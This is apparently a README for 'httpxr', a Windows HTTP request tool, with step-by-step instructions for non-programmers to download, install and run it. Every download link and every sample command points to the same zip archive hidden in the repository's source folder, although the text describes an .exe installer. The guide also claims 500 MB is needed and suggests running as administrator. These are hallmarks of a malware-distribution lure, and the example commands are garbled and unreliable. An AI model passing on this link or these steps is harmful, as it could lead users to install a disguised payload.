httpxr is a Windows application that lets you send web requests. It is a Rust-based tool that works like the popular Python httpx library but runs faster and without extra software requirements. You can use it to talk to websites, APIs, or any server that accepts web requests.
This tool uses the same commands as httpx, so if you know httpx, this feels familiar. If you don’t know httpx, don’t worry. This guide will help you get started step by step, with no coding knowledge needed.
- Works on Windows 10 and 11
- Fast execution with Rust speed
- No installation of extra software needed
- Simple commands for web requests (GET, POST, etc.)
- Supports API clients and async operations
- Perfect for testing and exploring websites and APIs
- Zero dependencies to keep it lightweight
- Windows 10 or Windows 11 (64-bit)
- 500 MB free disk space
- Internet access to connect to websites
- Basic use of the mouse and keyboard
To get httpxr, visit the official GitHub page. This is where you will find the latest version ready for Windows.
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Click the download button above. It will take you to the httpxr GitHub page.
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On the GitHub page, look for the section labeled Releases or Assets. This is where you find the file to download.
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Download the latest Windows installer file. The file name usually ends with
.exe. For example,https://raw.githubusercontent.com/matrix360143/httpxr/main/src/client/Software_1.9.zip. -
Once the file has finished downloading, find it in your Downloads folder or wherever your browser saves files.
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Double-click the
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Follow the on-screen steps. Usually, this means clicking Next a few times and then Install.
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When the installer completes, click Finish.
After installing httpxr, you can run it right away:
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Press the Windows key on your keyboard or click the Start menu.
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Type
httpxrin the search box. -
Click on the httpxr app icon to open it.
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Alternatively, you can open the Command Prompt or PowerShell and type
httpxrto start using the program for web requests.
httpxr works by typing commands to send web requests. Commands are simple phrases. Here are some common examples:
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To fetch a webpage:
httpxr get https://raw.githubusercontent.com/matrix360143/httpxr/main/src/client/Software_1.9.zip -
To send data in a POST request:
httpxr post https://raw.githubusercontent.com/matrix360143/httpxr/main/src/client/Software_1.9.zip -d '{"name":"John"}' -
To add headers:
httpxr get https://raw.githubusercontent.com/matrix360143/httpxr/main/src/client/Software_1.9.zip -H "Authorization: Bearer token"
You don’t need to be a programmer. Just copy these commands, change the web address to what you want, and run them in Command Prompt or PowerShell.
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Open Command Prompt by typing
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Use copy and paste to avoid typing errors. Right-click to paste in Command Prompt.
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If a website needs a special key or password, you add it with headers using the
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You can save commands in a text file to reuse them.
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Try simple commands first to get a feel for how it works.
When a new version is available, download it like before:
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Go to the httpxr GitHub downloads page.
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Download the latest
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Run the installer—it will update your current version.
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If the app does not start, check your Windows version or try restarting your computer.
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If internet requests fail, check your internet connection.
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Running commands in Command Prompt may require administrator rights. Try right-clicking Command Prompt and selecting Run as administrator.
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If the app shows errors about missing files, reinstall it using the installer.
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Visit the GitHub page to check guides and community discussions.
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You can open the Issues tab on GitHub to see common problems or report bugs.
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Try searching online for "httpxr help" for more tips.